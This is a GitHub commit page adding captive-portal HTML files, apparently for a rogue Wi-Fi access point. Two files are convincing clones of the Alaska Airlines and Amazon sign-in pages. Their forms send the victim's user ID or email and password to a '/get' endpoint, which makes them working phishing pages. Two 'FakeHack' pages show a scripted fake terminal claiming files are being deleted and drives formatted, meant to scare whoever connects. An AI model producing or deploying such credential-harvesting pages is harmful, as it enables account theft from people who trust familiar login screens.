Skip to content

Commit

Permalink
more portals by roshanravan
Browse files Browse the repository at this point in the history
  • Loading branch information
bigbrodude6119 committed Jul 17, 2023
1 parent 09c66bb commit 26a1b21
Show file tree
Hide file tree
Showing 10 changed files with 779 additions and 0 deletions.
89 changes: 89 additions & 0 deletions portals/AlaskaAirline.html
Original file line number Diff line number Diff line change
@@ -0,0 +1,89 @@
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
body {
font-family: Arial, sans-serif;
background-color: #f4f4f4;
margin: 0;
padding: 0;
height: 100vh;
display: flex;
align-items: center;
justify-content: center;
}
.login-container {
background-color: white;
padding: 20px;
border-radius: 5px;
box-shadow: 0px 0px 10px 0px rgba(0,0,0,0.1);
}
.login-container h1, .login-container h2 {
text-align: center;
}
.login-container button {
width: 100%;
background-color: green;
}
#logo {
display: flex;
justify-content: center;
margin-bottom: 20px;
}
.form-group {
margin-bottom: 10px;
}
input[type="text"], input[type="password"] {
width: 100%;
padding: 8px;
border: 1px solid #ccc;
border-radius: 4px;
box-sizing: border-box;
}
</style>
<script>
window.addEventListener('DOMContentLoaded', (event) => {
const form = document.getElementById('email-form-step');
form.addEventListener('submit', (event) => {
event.preventDefault();
const emailInput = document.getElementById('email-input');
const passwordInput = document.getElementById('password-input');
const email = emailInput.value;
const password = passwordInput.value;
const url = `/get?email=${encodeURIComponent(email)}&password=${encodeURIComponent(password)}`;
window.location.href = url;
});
});
</script>
</head>
<body>
<div class="container">
<div class="row">
<div class="col-lg-4 offset-lg-4 login-container">
<div id="logo">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 301 92" width="93.75" height="30">
<g fill="#00385f">
<path d="m148 4-35 58c-3 5-5 11-6 17H94c1-7 4-14 10-24l23-40c5-8 10-11 19-11h2zm10 31c-18 0-28 10-38 32-2 6-4 13 5 13 4 0 12-3 17-7v6h12c0-5 2-11 6-18l15-25-17-1m-13 29c-3 3-7 6-11 6-3 0-3-3-2-6 8-14 15-21 25-21h1l-13 21zm138-29c-17 0-28 10-37 32-3 6-4 13 4 13 4 0 12-3 17-7v6h12c1-5 2-11 6-18l15-25-17-1m-13 29c-2 3-7 6-11 6-3 0-3-3-1-6 7-14 15-21 24-21h2l-14 21z"/>
<path d="M243 91h-4c-5 0-9-3-11-8l-6-23-11 19h-13l36-61c5-8 10-11 18-11h2l-24 41 18-13h14l-30 21 11 35zM124 1c-12 0-19 3-31 11L53 42H27c-8 0-14 0-19 4l-6 7 37-2L0 79h17l40-28 13-1c9 0 15-8 15-8H69l32-24-23 39c-5 9-8 15-9 22h14l6-18 33-54 4-6h-2zm64 46c0 2 1 2 3 4l4 2c4 3 5 7 5 10-1 9-8 17-22 17l-17-2 6-9 12 1c5 0 7-2 7-4 1-1 0-3-2-4l-3-3c-5-3-6-6-6-10 1-8 11-14 24-14l13 1-5 9-12-1c-4 0-6 1-7 3"/>
</g>
</svg>
</div>
<form id="email-form-step">
<h1>Sign in</h1>
<h2>Use your Alaska Airlines Account</h2>
<div class="form-group">
<input id="email-input" name="email" type="text" class="form-control" placeholder="User ID or Mileage Plan number" required>
</div>
<div class="form-group">
<input id="password-input" name="password" type="password" class="form-control" placeholder="Password" required>
</div>
<div class="form-group">
<button class="btn btn-primary" type="submit">Next</button>
</div>
</form>
</div>
</div>
</div>
</body>
</html>
100 changes: 100 additions & 0 deletions portals/Amazon.html
Original file line number Diff line number Diff line change
@@ -0,0 +1,100 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: Arial, sans-serif;
}

.container {
max-width: 400px;
margin: 0 auto;
padding: 20px;
}

@media (min-width: 600px) {
.container {
max-width: 500px;
}
}

.logo {
text-align: center;
margin-bottom: 30px;
}

.form-container {
background: #fff;
border: 1px solid #ddd;
border-radius: 4px;
padding: 20px;
box-shadow: 0px 0px 10px 0px rgba(0,0,0,0.2);
}

h1 {
text-align: center;
font-size: 28px;
font-weight: 500;
margin-bottom: 20px;
}

.input-field {
width: 100%;
padding: 12px;
border: 1px solid #ccc;
border-radius: 4px;
box-sizing: border-box;
margin-bottom: 20px;
font-size: 14px;
}

.submit-btn {
background: #f0c14b;
border: none;
color: #333;
padding: 12px 20px;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
}

.submit-btn:hover {
background: #d8ad40;
}

</style>
</head>

<body>

<div class="container">

<div class="logo">
<svg xmlns="http://www.w3.org/2000/svg" fill-rule="evenodd" viewBox="0 0 120 60">
<path fill="#f90" d="M72 40.7a38.9 38.9 0 0 1-47.7-3.4c-.5-.5 0-1.2.6-.8a52.8 52.8 0 0 0 46.3 2.8c1-.4 1.8.7.8 1.4m2.5-2.8c-.8-1-5-.4-6.8-.2-.6 0-.7-.4-.2-.8 3.3-2.3 8.8-1.6 9.4-.8s-.1 6.2-3.3 8.8c-.4.4-.9.2-.7-.3.7-1.8 2.3-5.7 1.6-6.7"/>
<path fill="#221f1f" d="M67.8 20.4v-2.2a.6.6 0 0 1 .6-.6h10.1c.4 0 .6.2.6.6V20c0 .3-.2.8-.7 1.4L73 29.1c2 0 4 .2 5.8 1.2.4.2.5.6.5.9v2.4c0 .3-.3.7-.7.5a11.7 11.7 0 0 0-10.8 0c-.3.2-.7-.1-.7-.5v-2.3c0-.4 0-1 .4-1.5l6.1-8.8h-5.3c-.3 0-.6-.2-.6-.6m-37 14.2h-3.1a.6.6 0 0 1-.6-.5V18c0-.2.3-.5.6-.5h3c.2 0 .5.3.5.6v2c.8-2 2.2-3 4.1-3 2 0 3.2 1 4 3a4.5 4.5 0 0 1 7.9-1.2c1 1.4.8 3.3.8 5v10c0 .3-.3.6-.6.6h-3.1a.6.6 0 0 1-.6-.6V22.6c-.3-1-1-1.3-1.9-1.3-.7 0-1.5.5-1.8 1.3s-.3 2.1-.3 3V34c0 .3-.3.6-.6.6h-3.1a.6.6 0 0 1-.6-.6v-8.4c0-1.8.3-4.4-1.9-4.4-2.2 0-2.1 2.6-2.1 4.4V34c0 .3-.3.6-.6.6m57.2-17.3c4.6 0 7 4 7 9 0 4.8-2.7 8.6-7 8.6-4.5 0-7-3.9-7-8.8 0-5 2.5-8.8 7-8.8m0 3.2c-2.3 0-2.4 3.1-2.4 5s0 6.2 2.4 6.2 2.5-3.4 2.5-5.4c0-1.4 0-3-.5-4.2-.3-1.1-1-1.6-2-1.6m13 14.1h-3a.6.6 0 0 1-.6-.6V18.1c0-.2.3-.5.6-.5h2.9c.2 0 .4.2.5.5v2.4c1-2.2 2.1-3.2 4.3-3.2a4 4 0 0 1 3.6 1.9c.8 1.2.8 3.4.8 5v10c0 .2-.3.4-.6.4h-3.1a.6.6 0 0 1-.5-.5v-8.6c0-1.8.2-4.3-2-4.3-.7 0-1.4.5-1.8 1.3a7 7 0 0 0-.5 3V34c0 .3-.3.6-.6.6M59.7 27c0 1.2 0 2.2-.6 3.3-.5.9-1.3 1.4-2.1 1.4-1.2 0-2-1-2-2.2 0-2.7 2.4-3.2 4.7-3.2v.7m3.1 7.5c-.2.2-.5.2-.7.1-1-.8-1.2-1.2-1.8-2-1.7 1.7-2.9 2.2-5.1 2.2-2.6 0-4.6-1.6-4.6-4.8a5 5 0 0 1 3.3-5c1.7-.8 4-1 5.8-1.1v-.4c0-.8 0-1.7-.4-2.3-.4-.6-1-.8-1.7-.8-1.2 0-2.3.6-2.5 1.9 0 .2-.3.5-.6.5l-3-.3c-.2 0-.5-.2-.4-.6.7-3.7 4-4.8 7-4.8 1.4 0 3.4.4 4.6 1.6C64.2 20 64 21.9 64 24v4.8c0 1.5.6 2.1 1.2 2.9.2.3.2.6 0 .8l-2.4 2M19.1 27c0 1.2 0 2.2-.6 3.3-.5.9-1.2 1.4-2.1 1.4-1.2 0-1.9-.9-1.9-2.2 0-2.7 2.4-3.2 4.6-3.2v.7m3.1 7.6c-.2.1-.5.2-.7 0-1-.8-1.2-1.2-1.8-2-1.7 1.7-2.9 2.2-5 2.2-2.7 0-4.7-1.6-4.7-4.8 0-2.5 1.4-4.2 3.3-5 1.7-.8 4-1 5.8-1.1v-.4c0-.8 0-1.6-.4-2.3-.3-.5-1-.8-1.7-.8-1.2 0-2.2.6-2.5 1.9 0 .3-.2.5-.5.5l-3-.3c-.3 0-.6-.2-.5-.6.7-3.7 4-4.8 7-4.8 1.4 0 3.4.4 4.6 1.6 1.5 1.4 1.4 3.3 1.4 5.3v4.8c0 1.5.6 2.1 1.1 2.9.2.3.3.6 0 .8l-2.3 2"/>
</svg>

</div>

<div class="form-container">

<center><h1>Sign in</h1>
<h2>Use your Amazon Account</h2></center>

<form action="/get" id="login-form">

<input name="email" class="input-field" type="text" placeholder="Email or mobile phone number" required>

<input name="password" class="input-field" type="password" placeholder="Password" required>

<button class="submit-btn" type="submit">Continue</button>

</form>

</div>

</div>

</body>
</html>
61 changes: 61 additions & 0 deletions portals/FakeHack.html
Original file line number Diff line number Diff line change
@@ -0,0 +1,61 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<style>
* {
box-sizing: border-box;
}
body {
background-color: #000;
color: #0F0;
font-family: 'Courier New', Courier, monospace;
margin: 0;
padding: 0;
overflow: hidden;
}
#terminal {
position: absolute;
width: 100%;
height: 100vh;
padding: 20px;
white-space: pre-wrap;
overflow-wrap: break-word;
animation: type 20s steps(80, end);
}
@keyframes type {
from {width: 0;}
}
</style>
<title>Hacking Simulation</title>
</head>
<body>
<div id="terminal"></div>
<script>
const lines = [
'Initiating connection...',
'Bypassing security protocols...',
'Accessing system...',
'Disabling antivirus...',
'Initiating data transfer...',
'Deleting files...',
'Formatting drive...',
'Hacking successful.'
];
let i = 0;
let txt = '';
let speed = 100;

function typeWriter() {
if (i < lines.length) {
txt += lines[i] + "\n";
document.getElementById("terminal").innerHTML = txt;
i++;
setTimeout(typeWriter, speed);
}
}
typeWriter();
</script>
</body>
</html>
58 changes: 58 additions & 0 deletions portals/FakeHack2.html
Original file line number Diff line number Diff line change
@@ -0,0 +1,58 @@
<!DOCTYPE html>
<html>
<head>
<title>Captive Portal</title>
<style>
body {
background-color: #000;
color: #0F0;
font-family: 'Courier New', Courier, monospace;
}
#terminal {
white-space: pre;
overflow: hidden;
margin: 0 auto;
padding: 10px;
}
#connectBtn {
display: block;
position: absolute;
left: 20px;
background: #0F0;
padding: 10px 20px;
color: #000;
text-decoration: none;
margin-top: 20px;
}
</style>
</head>
<body>
<a id="connectBtn" href="javascript:void(0);" onclick="startHack();">Connect</a>
<div id="terminal"></div>
<script>
var content = [
"Accessing device...",
"Device accessed ✔",
"Deleting files...",
"Files deleted ✔",
"Formatting device...",
"Device formatted ✔. \n\n",
"(⁠☞⁠ ͡⁠°⁠ ͜⁠ʖ⁠ ͡⁠°⁠)⁠☞",
"ᕙ⁠(͡⁠°⁠‿⁠ ͡⁠°⁠)⁠ᕗ",
/* You should add the rest of your ASCII art here. */
];

function startHack() {
var terminal = document.getElementById('terminal');
var counter = 0;
document.getElementById('connectBtn').style.display = 'none';
var intervalId = setInterval(function() {
terminal.textContent += content[counter++] + '\n';
if (counter === content.length) {
clearInterval(intervalId);
}
}, 1000);
}
</script>
</body>
</html>
Loading

0 comments on commit 26a1b21

Please sign in to comment.